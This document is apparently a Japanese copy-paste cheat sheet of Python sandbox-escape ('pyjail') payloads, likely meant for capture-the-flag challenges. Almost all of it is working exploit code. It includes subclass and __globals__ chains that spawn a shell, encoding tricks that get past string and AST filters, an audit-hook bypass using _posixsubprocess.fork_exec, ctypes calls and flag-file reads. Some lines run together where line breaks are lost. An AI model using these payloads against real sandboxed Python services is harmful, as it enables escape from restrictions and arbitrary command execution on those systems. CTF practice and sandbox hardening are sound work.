Pyjail Payloads
Overview
状況別のコピペ用ペイロード集。
基本ペイロード
最短系
# breakpoint (12文字)breakpoint()# → pdb起動後: import os; os.system('sh')
# help (6文字)help()# → 対話モードでmodule名入力 → pager内で !sh
# exec+input (13文字)exec(input())# → 次の入力で任意コード実行汎用ワンライナー
# _wrap_close (最も汎用的)[c for c in ().__class__.__base__.__subclasses__() if'wr'in str(c)][0].__init__.__globals__['system']('sh')
# catch_warnings[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').system('sh')
# BuiltinImporter[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='BuiltinImporter'][0].load_module('os').system('sh')builtins が空の場合
# 基本チェーン().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['system']('sh')
# 短縮版().__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['system']('sh')
# generator 利用(x for x in []).gi_frame.f_builtins['eval']('__import__("os").system("sh")')文字列フィルタバイパス
chr() 構築
# __import__("os").system("sh")eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(115)+chr(104)+chr(34)+chr(41))
# os のみ構築__import__(chr(111)+chr(115)).system(chr(115)+chr(104))8進数/16進数
# 8進数__import__('\157\163').system('\163\150')
# 16進数__import__('\x6f\x73').system('\x73\x68')Unicode
# 全角文字exec(input())
# evaleval('__import__("os").system("sh")')文字列結合
# 単純結合getattr(__import__('o'+'s'), 'sys'+'tem')('sh')
# joingetattr(__import__(''.join(['o','s'])), ''.join(['s','y','s','t','e','m']))('sh')AST フィルタバイパス
デコレータ
@exec@inputclass X:pass# 入力: __import__("os").system("sh")match 文 (Python 3.10+)
match __builtins__: case {'eval': e}: e('__import__("os").system("sh")')walrus 演算子
[x := __import__('os'), x.system('sh')]audit hook バイパス
_posixsubprocess.fork_exec
import _posixsubprocess,os;r,w=os.pipe();_posixsubprocess.fork_exec([b'/bin/sh',b'-c',b'cat /flag'],[b'/bin/sh'],True,(),'',{},-1,w,-1,-1,-1,False,False,-1,-1,-1,-1,None);os.close(w);print(os.read(r,9999))ctypes
__import__('ctypes').CDLL(None).system(b'sh')文字数制限
100文字以下
# 99文字[c for c in ().__class__.__mro__[1].__subclasses__()if'wr'in str(c)][0].__init__.__globals__['system']('sh')変数代入で分割
a=__import__b='os'c=a(b)c.system('sh')英数字禁止
# 全角文字を使用eval(input())ファイル読み取りのみ
# flag.txt を読むopen('flag.txt').read()
# builtins 空の場合().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['open']('flag.txt').read()特殊状況
input() のみ利用可
input()# 入力で評価される環境なら: __import__("os").system("sh")getattr のみ利用可
getattr(getattr(getattr(getattr(getattr(getattr((),chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(0),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))(),chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(INDEX)